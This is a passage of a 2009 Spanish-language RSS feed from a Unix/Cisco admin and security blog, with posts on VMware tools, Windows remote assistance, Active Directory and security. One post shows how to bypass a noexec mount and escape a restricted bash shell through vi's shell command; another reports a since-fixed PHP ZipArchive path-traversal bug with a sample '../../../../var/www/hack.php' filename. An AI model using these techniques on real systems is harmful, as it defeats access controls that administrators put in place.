altadisponibilidad con una VM de backup que en caso de fallo de una podamos levantar la otra.&lt;br /&gt;&amp;lt;/EDIT 23-2-09&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5340317488900437405?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/Iylw-HEIpOY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/Iylw-HEIpOY/vmware-ubuntudebian-eth0-desaparece.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/vmware-ubuntudebian-eth0-desaparece.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-3457589660910520784</guid><pubDate>Tue, 17 Feb 2009 09:37:00 +0000</pubDate><atom:updated>2009-02-17T10:40:18.106+01:00</atom:updated><title>VMWare tools Ubuntu</title><description>Click en Instalar VMWare tools&lt;br /&gt;&lt;br /&gt;sudo su&lt;br /&gt;&lt;br /&gt;Montar cdrom&lt;br /&gt;&lt;br /&gt;tar xzvf VMWare*.tar.gz (a /tmp)&lt;br /&gt;&lt;br /&gt;apt-get install gcc make&lt;br /&gt;&lt;br /&gt;apt-get install linux-headers`uname -r`&lt;br /&gt;&lt;br /&gt;ln -s /usr/src/linux-headers`uname -r` /usr/src/linux&lt;br /&gt;&lt;br /&gt;./vmware-install.pl&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3457589660910520784?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/ZMcK4k8kk-M" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/ZMcK4k8kk-M/vmware-tools-ubuntu.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/vmware-tools-ubuntu.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-390289073672635467</guid><pubDate>Sat, 14 Feb 2009 11:43:00 +0000</pubDate><atom:updated>2009-02-14T12:44:36.000+01:00</atom:updated><title>Win. Ofrecer asistencia remota en la LAN</title><description>hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/Remote%20Assistance/Escalation/Unsolicited/unsolicitedrcui.htm&lt;br /&gt;&lt;br /&gt;Esto es con permiso del usuario.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-390289073672635467?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/ZgxOQ2ORsPI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/ZgxOQ2ORsPI/win-ofrecer-asistencia-remota-en-la-lan.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/win-ofrecer-asistencia-remota-en-la-lan.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8966401669290043673</guid><pubDate>Wed, 28 Jan 2009 20:03:00 +0000</pubDate><atom:updated>2009-01-28T21:06:51.641+01:00</atom:updated><title>0-day in ZipArchive's PHP</title><description>Hoy me puse en contacto con el "security response team" de PHP sobre un bug que descubri en ZipArchive de PHP que, que yo sepa, no habia sido hecho publico.&lt;br /&gt;&lt;br /&gt;Pues bien, hoy mismo me han respondido, y como ya esta solucionado, aqui pongo el mail que les mande:&lt;br /&gt;&lt;br /&gt;On Wed, Jan 28, 2009 at 4:32 PM, vlan7 wrote:&lt;br /&gt;&gt; Hi!&lt;br /&gt;&gt;&lt;br /&gt;&gt; Recently I've found a vulnerability in ZipArchive's PHP.&lt;br /&gt;&gt;&lt;br /&gt;&gt; An atacker would overwrite any file doing a directory transversal simply&lt;br /&gt;&gt; naming zipped archives somethin' like ../../../../var/www/hack.php&lt;br /&gt;&gt;&lt;br /&gt;&gt; Are you aware of this?&lt;br /&gt;&lt;br /&gt;Yes, it is fixed in 5.3.0 and partially fixed in 5.2.x (a bug in a&lt;br /&gt;zend function did not fix it nicely). Everything should be fien in&lt;br /&gt;5.2.9 (RC1 to be released soon).&lt;br /&gt;&lt;br /&gt;Thanks for your report!&lt;br /&gt;&lt;br /&gt;Cheers,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8966401669290043673?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/jVyL2fBzv7Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/jVyL2fBzv7Y/0-day-in-ziparchives-php.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/0-day-in-ziparchives-php.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-907719115823418321</guid><pubDate>Wed, 28 Jan 2009 15:10:00 +0000</pubDate><atom:updated>2009-01-28T16:11:23.638+01:00</atom:updated><title>html mailto tag encoder antispam</title><description>&lt;a href="http://rumkin.com/tools/mailto_encoder/custom.php"&gt;&lt;b&gt;http://rumkin.com/tools/mailto_encoder/custom.php&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-907719115823418321?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/On-0PEPt4Q8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/On-0PEPt4Q8/html-mailto-tag-encoder-antispam.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/html-mailto-tag-encoder-antispam.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-3706127306278277980</guid><pubDate>Wed, 28 Jan 2009 14:49:00 +0000</pubDate><atom:updated>2009-01-28T16:04:34.861+01:00</atom:updated><title>*nix. Saltando restriccion noexec + evadiendo una shell restrictiva</title><description>Si un buen administrador ha incluido en el fstab (vfstab en solaris) la opcion noexec para montaje de la particion digamos /home del usuario, su idea seria que el usuario no pudiera ejecutar programas bajados por el, es decir, que residan en la particion montada como noexec.&lt;br /&gt;&lt;br /&gt;Al intentar ejecutar un script con &lt;b&gt;./script.sh&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;No nos lo permite el sistema.&lt;br /&gt;&lt;br /&gt;Podemos saltarnos esta restriccion anteponiendo el script en el que esta programado. Por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;/bin/bash script.sh&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Para archivos binarios ejecutables, y esto es en Linux:&lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;/lib/ld-linux.so.2 binario&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Como administradores se nos podria ocurrir quitar el permiso de ejecucion a ld-linux.so.2 , pero ¿que sistema no tiene alguna libreria dinamicamente enlazada? Asi que esa no es una solucion viable.&lt;br /&gt;&lt;br /&gt;Lo que podemos hacer es dar al usuario una shell restrictiva tipo bash-r como shell por defecto en el /etc/passwd&lt;br /&gt;&lt;br /&gt;Con esto lo que hacemos es una jaula en la que el usuario no puede ejecutar programas que no esten en el PATH, y por supuesto, no puede modificar la variable PATH.&lt;br /&gt;&lt;br /&gt;Bien, como todo lo que una mente humana puede asegurar, otra mente humana puede violar, como atacantes procederiamos asi.&lt;br /&gt;&lt;br /&gt;El viejo editor vi tiene una opcion para ejecutar comandos de shell.&lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;probador:~$ cd .. &lt;br /&gt;rbash: cd: restricted &lt;br /&gt;probador:~$ vi prueba.sh&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Y en vi: &lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;:set shell=/bin/bash &lt;br /&gt;:shell &lt;br /&gt;probador:~$ cd .. &lt;br /&gt;probador:/home$&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3706127306278277980?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/lKQxZzGGCxg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/lKQxZzGGCxg/nix-saltando-restriccion-noexec.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/nix-saltando-restriccion-noexec.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-241582134497133552</guid><pubDate>Wed, 28 Jan 2009 12:58:00 +0000</pubDate><atom:updated>2009-01-28T14:59:34.780+01:00</atom:updated><title>Sobre espacio ocupado por la bd de Active Directory</title><description>Algunos administradores lo que hacen para conocer el espacio ocupado por la bd de AD es usar el comando:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;ntdsutil files info&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;El problema es que este comando da error si no es ejecutado en modo Restauracion de AD.&lt;br /&gt;&lt;br /&gt;Realmente la solucion es mucho mas sencilla. _Toda_ la bd de AD se encuentra en el archivo &lt;b&gt;ntds.dit&lt;/b&gt;. Lo que pese el archivo es el tamaño de la bd de AD.&lt;br /&gt;&lt;br /&gt;Es desfragmentable y es posible ver cuanto espacio en HD podemos ganar (tras eliminar objetos de AD) mediante una desfragmentacion que tanto puede ser online como offline. Google.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-241582134497133552?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/4WxNs-Exe4k" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/4WxNs-Exe4k/sobre-espacio-ocupado-por-la-bd-de.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/sobre-espacio-ocupado-por-la-bd-de.html</feedburner:origLink></item></channel></rss>
